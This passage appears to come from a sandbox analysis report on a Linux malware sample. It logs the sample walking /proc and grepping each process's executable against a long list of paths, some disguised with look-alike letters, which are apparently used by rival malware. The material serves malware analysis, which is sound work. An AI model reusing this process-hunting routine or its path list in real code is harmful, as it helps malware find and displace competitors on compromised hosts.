  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1041
- /bin/grep
  grep exe
  2⤵
  PID:1045
- /bin/ls
  ls -latrh /proc/643
  2⤵
  PID:1044
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1048
- /bin/grep
  grep exe
  2⤵
  PID:1052
- /bin/ls
  ls -latrh /proc/644
  2⤵
  - Reads runtime system information
  PID:1051
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1054
- /bin/grep
  grep exe
  2⤵
  PID:1058
- /bin/ls
  ls -latrh /proc/645
  2⤵
  PID:1057
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1061
- /bin/grep
  grep exe
  2⤵
  PID:1065
- /bin/ls
  ls -latrh /proc/646
  2⤵
  PID:1064
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1067
- /bin/grep
  grep exe
  2⤵
  PID:1072
- /bin/ls
  ls -latrh /proc/652
  2⤵
  PID:1071
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1076
- /bin/grep
  grep exe
  2⤵
  PID:1080
- /bin/ls
  ls -latrh /proc/653
  2⤵
  PID:1079
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1082
- /bin/grep
  grep exe
  2⤵
  PID:1086
- /bin/ls
  ls -latrh /proc/685
  2⤵
  PID:1085
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1089
- /bin/grep
  grep exe
  2⤵
  PID:1092
- /bin/ls
  ls -latrh /proc/692
  2⤵
  PID:1091
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1095
- /bin/grep
  grep exe
  2⤵
  PID:1098
- /bin/ls
  ls -latrh /proc/694
  2⤵
  PID:1097
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1100
- /bin/ls
  ls -latrh /proc/696
  2⤵
  PID:1102
- /bin/grep
  grep exe
  2⤵
  PID:1103
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1105
- /bin/grep
  grep exe
  2⤵
  PID:1108
- /bin/ls
  ls -latrh /proc/697
  2⤵
  PID:1107
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1110
- /bin/grep
  grep exe
  2⤵
  PID:1113
- /bin/ls
  ls -latrh /proc/7
  2⤵
  PID:1112
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1115
- /bin/grep
  grep exe
  2⤵
  PID:1118
- /bin/ls
  ls -latrh /proc/75
  2⤵
  PID:1117
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1120
- /bin/grep
  grep exe
  2⤵
  PID:1123
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1122
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1125
- /bin/grep
  grep exe
  2⤵
  PID:1128
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1127
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1130
- /bin/grep
  grep exe
  2⤵
  PID:1133
- /bin/ls
  ls -latrh /proc/97
  2⤵
  PID:1132
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1135
- /bin/grep
  grep exe
  2⤵
  PID:1138
- /bin/ls
  ls -latrh /proc/apm
  2⤵
  PID:1137
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1140
- /bin/grep
  grep exe
  2⤵
  PID:1143
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1142
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1145
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1147
- /bin/grep
  grep exe
  2⤵
  PID:1148
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1150
- /bin/grep
  grep exe
  2⤵
  PID:1153
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1152
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1155
- /bin/grep
  grep exe
  2⤵
  PID:1158
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1157
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1160
- /bin/grep
  grep exe
  2⤵
  PID:1163
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1162
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1165
- /bin/grep
  grep exe
  2⤵
  PID:1168
- /bin/ls
  ls -latrh /proc/cpu
  2⤵
  PID:1167
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1170
- /bin/grep
  grep exe
  2⤵
  PID:1173
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1172
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1175
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1177
- /bin/grep
  grep exe
  2⤵
  PID:1178
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1180
- /bin/grep
  grep exe
  2⤵
  PID:1183
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1182
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1185
- /bin/grep
  grep exe
  2⤵
  PID:1188
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  PID:1187
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1190
- /bin/grep
  grep exe
  2⤵
  PID:1193
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1192
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1195
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1197
- /bin/grep
  grep exe
  2⤵
  PID:1198
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1200
- /bin/grep
  grep exe
  2⤵
  PID:1203
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1202
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1205
- /bin/grep
  grep exe
  2⤵
  PID:1208
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1207
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1210
- /bin/grep
  grep exe
  2⤵
  PID:1213
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1212
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1215
- /bin/grep
  grep exe
  2⤵
  PID:1218
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1217
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1220
- /bin/grep
  grep exe
  2⤵
  PID:1223
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1222
- /bin/grep
